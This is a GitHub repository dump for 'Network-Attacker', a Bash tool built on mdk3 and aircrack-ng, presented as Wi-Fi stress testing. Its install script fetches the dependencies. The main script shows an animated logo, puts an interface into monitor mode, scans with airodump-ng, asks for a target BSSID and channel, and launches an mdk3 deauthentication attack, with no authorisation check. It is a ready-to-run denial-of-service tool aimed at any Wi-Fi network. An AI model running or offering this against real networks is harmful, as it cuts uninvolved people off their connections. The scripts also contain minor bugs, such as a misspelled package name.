├── img.png ├── README.md ├── install.sh └── network_attacker.sh /img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyb0r9/network-attacker/HEAD/img.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Network-Attacker 2 | network-attacker V0.1 is a Wifi Stress Testing Bash Script Program Based on Mdk3 [Beacon Flooding & Deauthentication Attack] 3 | * Created To Help Beginners And even Professionals For a beacon Flooding Or Deauthentication Attack On Networks 4 | # Installation 5 | ``` 6 | sudo apt-get install git 7 | sudo git clone https://github.com/TunisianEagles/network-attacker.git 8 | cd network-attacker 9 | sudo chmod +x install.sh 10 | sudo chmod +x network_attacker.sh 11 | ./install.sh 12 | ./network_attacker.sh 13 | ``` 14 | # Tested On : 15 | * Backbox linux 16 | * Ubuntu 17 | * Debian 18 | * Kali linux 19 | * Parrot os 20 | # Contact 21 | Programmed By belahsan ouerghi 22 | * [Contact](https://www.facebook.com/ouerghi.belahsan) - Contact Me If You Got Issues 23 | # Screenshot 24 | ![Test Image 8](https://raw.githubusercontent.com/TunisianEagles/network-attacker/master/img.png) 25 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Check 3 | #bash 4 | if which bash >/dev/null; then 5 | sleep 0.25 6 | echo "[BASH] Installed [✓]" 7 | else 8 | sleep 0.25 9 | echo "[BASH] Not Installed [✗]" 10 | sleep 1 11 | echo "Install Bash " 12 | sudo apt-get install bash 13 | fi 14 | #airmon-ng 15 | if which airmon-ng >/dev/null; then 16 | sleep 0.25 17 | echo "[AIRMONG-NG] Installed [✓]" 18 | else 19 | sleep 0.25 20 | echo "[AIRMONG-NG] Not Installed [✗]" 21 | sleep 1 22 | echo "Install airmong-ng" 23 | sudo apt-get install airckrack-ng 24 | sleep 0.25 25 | fi 26 | #airodump-ng 27 | if which airodump-ng >/dev/null; then 28 | sleep 0.25 29 | echo "[AIRODUMP-NG] Installed [✓]" 30 | else 31 | sleep 0.25 32 | echo "[AIRODUMP-NG] Not Installed [✗]" 33 | sleep 1 34 | echo "Install airodump-ng " 35 | sudo apt-get install airckrack-ng 36 | fi 37 | #mdk3 38 | if which mdk3 >/dev/null; then 39 | sleep 0.25 40 | echo "[MDK3] Installed [✓]" 41 | else 42 | sleep 0.25 43 | echo "[MDK3] Not Installed [✗]" 44 | sleep 1 45 | echo "Cloning And Installing Mdk3" 46 | git clone https://github.com/wi-fi-analyzer/mdk3-master 47 | cd mdk3-master 48 | make 49 | sudo make install 50 | cd .. 51 | fi 52 | #git 53 | if which git >/dev/null; then 54 | sleep 0.25 55 | echo -e "$green[GIT]$nc Installed [$green✓$nc]" 56 | sleep 0.25 57 | else 58 | sleep 0.25 59 | echo -e "$green[GIT]$nc Not Installed [$red✗$nc]" 60 | sleep 1 61 | echo "Install git " 62 | sudo apt-get install git 63 | exit 1 64 | fi 65 | 66 | 67 | #EOF 68 | -------------------------------------------------------------------------------- /network_attacker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | err="Error: Directory $path does not exists." 3 | #Colors 4 | white="\033[1;37m" 5 | grey="\033[0;37m" 6 | purple="\033[0;35m" 7 | red="\033[1;31m" 8 | green="\033[1;32m" 9 | yellow="\033[1;33m" 10 | Purple="\033[0;35m" 11 | Cyan="\033[0;36m" 12 | Cafe="\033[0;33m" 13 | Fiuscha="\033[0;35m" 14 | blue="\033[1;34m" 15 | nc="\e[0m" 16 | mon="mon" 17 | #START UP 18 | #logo 19 | sleep 0.25 20 | clear 21 | echo -e "$white" 22 | echo " -------------------------------------------------------------" 23 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 24 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 25 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 26 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 27 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 28 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 29 | echo " -------------------------------------------------------------" 30 | echo -e "$nc" 31 | sleep 0.25 32 | clear 33 | echo -e "$grey" 34 | echo " -------------------------------------------------------------" 35 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 36 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 37 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 38 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 39 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 40 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 41 | echo " -------------------------------------------------------------" 42 | echo -e "$nc" 43 | sleep 0.25 44 | clear 45 | echo -e "$purple" 46 | echo " -------------------------------------------------------------" 47 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 48 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 49 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 50 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 51 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 52 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 53 | echo " -------------------------------------------------------------" 54 | echo -e "$nc" 55 | sleep 0.25 56 | clear 57 | echo -e "$red" 58 | echo " -------------------------------------------------------------" 59 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 60 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 61 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 62 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 63 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 64 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 65 | echo " -------------------------------------------------------------" 66 | echo -e "$nc" 67 | sleep 0.25 68 | clear 69 | echo -e "$green" 70 | echo " -------------------------------------------------------------" 71 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 72 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 73 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 74 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 75 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 76 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 77 | echo " -------------------------------------------------------------" 78 | echo -e "$nc" 79 | sleep 0.25 80 | clear 81 | echo -e "$yellow" 82 | echo " -------------------------------------------------------------" 83 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 84 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 85 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 86 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 87 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 88 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 89 | echo " -------------------------------------------------------------" 90 | echo -e "$nc" 91 | sleep 0.25 92 | clear 93 | echo -e "$Purple" 94 | echo " -------------------------------------------------------------" 95 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 96 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 97 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 98 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 99 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 100 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 101 | echo " -------------------------------------------------------------" 102 | echo -e "$nc" 103 | sleep 0.25 104 | clear 105 | echo -e "$cyan" 106 | echo " -------------------------------------------------------------" 107 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 108 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 109 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 110 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 111 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 112 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 113 | echo " -------------------------------------------------------------" 114 | echo -e "$nc" 115 | sleep 0.25 116 | clear 117 | echo -e "$Cafe" 118 | echo " -------------------------------------------------------------" 119 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 120 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 121 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 122 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 123 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 124 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 125 | echo " -------------------------------------------------------------" 126 | echo -e "$nc" 127 | sleep 0.25 128 | clear 129 | echo -e "$Fiuscha" 130 | echo " -------------------------------------------------------------" 131 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 132 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 133 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 134 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 135 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 136 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 137 | echo " -------------------------------------------------------------" 138 | echo -e "$nc" 139 | sleep 0.25 140 | clear 141 | echo -e "$blue" 142 | echo " -------------------------------------------------------------" 143 | echo " ███╗ ██╗███████╗████████╗ █████╗ ██╗ ██╗ ██████╗ ██╗" 144 | echo " ████╗ ██║██╔════╝╚══██╔══╝██╔══██╗ ██║ ██║██╔═████╗ ███║" 145 | echo " ██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║██╔██║ ╚██║" 146 | echo " ██║╚██╗██║██╔══╝ ██║ ██╔══██║ ╚██╗ ██╔╝████╔╝██║ ██║" 147 | echo " ██║ ╚████║███████╗ ██║██╗██║ ██║██╗╚████╔╝ ╚██████╔╝██╗██║" 148 | echo " ╚═╝ ╚═══╝╚══════╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝" 149 | echo " -------------------------------------------------------------" 150 | echo -e "$nc" 151 | #ROOT PRIVILEGIES 152 | if [[ $EUID -ne 0 ]]; then 153 | echo -e "$red You don't have Root privilegies, execute the script as root.$nc" 154 | exit 1 155 | fi 156 | #Check 157 | 158 | #bash 159 | if which bash >/dev/null; then 160 | sleep 0.25 161 | echo -e "$green[BASH]$nc Installed [$green✓$nc]" 162 | else 163 | sleep 0.25 164 | echo -e "$green[BASH]$nc Not Installed [$red✗$nc]" 165 | sleep 1 166 | echo "Install Bash BY Typing [sudo apt-get install bash]" 167 | fi 168 | #airmon-ng 169 | if which airmon-ng >/dev/null; then 170 | sleep 0.25 171 | echo -e "$green[AIRMONG-NG]$nc Installed [$green✓$nc]" 172 | else 173 | sleep 0.25 174 | echo -e "$green[AIRMONG-NG]$nc Not Installed [$red✗$nc]" 175 | sleep 1 176 | echo "Install Bash BY Typing [sudo apt-get install airckrack-ng]" 177 | sleep 0.25 178 | fi 179 | #airodump-ng 180 | if which airodump-ng >/dev/null; then 181 | sleep 0.25 182 | echo -e "$green[AIRODUMP-NG]$nc Installed [$green✓$nc]" 183 | else 184 | sleep 0.25 185 | echo -e "$green[AIRODUMP-NG]$nc Not Installed [$red✗$nc]" 186 | sleep 1 187 | echo "Install Bash BY Typing [sudo apt-get install airckrack-ng]" 188 | fi 189 | #mdk3 190 | if which mdk3 >/dev/null; then 191 | sleep 0.25 192 | echo -e "$green[MDK3]$nc Installed [$green✓$nc]" 193 | sleep 0.25 194 | else 195 | sleep 0.25 196 | echo -e "$green[MDK3]$nc Not Installed [$red✗$nc]" 197 | sleep 1 198 | echo "Clone And Install Mdk3 From [https://github.com/wi-fi-analyzer/mdk3-master]." 199 | exit 1 200 | fi 201 | #git 202 | if which git >/dev/null; then 203 | sleep 0.25 204 | echo -e "$green[GIT]$nc Installed [$green✓$nc]" 205 | sleep 0.25 206 | else 207 | sleep 0.25 208 | echo -e "$green[GIT]$nc Not Installed [$red✗$nc]" 209 | sleep 1 210 | echo "Install [ GIT ] By typing : sudo apt-get install git" 211 | exit 1 212 | fi 213 | 214 | # 215 | echo " ---------------------------------------" 216 | echo " | Network Attacker V0.1 |" 217 | echo " #######################################" 218 | echo -e " #Programed By $green Belahsan Ouerghi .$nc #" 219 | echo " #######################################" 220 | echo -e " #$Cyan Contact:$nc FB.com/ouerghi.belahsan #" 221 | echo " #######################################" 222 | echo -e " |'$Cyan Feel Free in an open Source World '$nc|" 223 | echo " ---------------------------------------" 224 | sleep 0.5 225 | echo -e "$red NOTE: $nc After Choosing an Interface Your Monitor Will Be Down ." 226 | sleep 0.5 227 | echo -e "$yellow This is The Available Iterfaces : $nc" 228 | sleep 0.25 229 | echo -e "$blue +------------------+$nc" 230 | echo -e "$green" 231 | ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' 232 | echo -e "$nc" 233 | echo -e "$blue +------------------+$nc" 234 | echo -e "$green" 235 | read -p "Enter Your Interface : " interface 236 | echo -e "$nc" 237 | airmon-ng start $interface 238 | airodump-ng $interface$mon 239 | trap 2 240 | echo -e "$green" 241 | read -p "Enter Your BSSID : " bssid 242 | echo -e "$nc" 243 | sleep 2 244 | echo -e "$green" 245 | read -p "Enter Path To Save The BSSID : " path 246 | echo -e "$nc" 247 | echo $bssid > $path 248 | echo -e "$green" 249 | read -p "Enter BSSID Channel : " ch 250 | echo -e "$nc" 251 | echo -e "$blue------------------------$nc" 252 | echo -e "$blue|$green NETWORK UNDER ATTACK$blue |$nc" 253 | echo -e "$blue------------------------$nc" 254 | echo -e "$Cyan" 255 | mdk3 $interface$mon d -b $path -c $ch 256 | echo -e "$nc" 257 | if [ -d $path ]; then 258 | echo "Directory $path exists.[✔]" 259 | else 260 | echo -e "$red Program Closed$nc , Theres was a problem" 261 | echo "$err [✘]" 262 | exit 1 263 | fi 264 | 265 | #EOF 266 | --------------------------------------------------------------------------------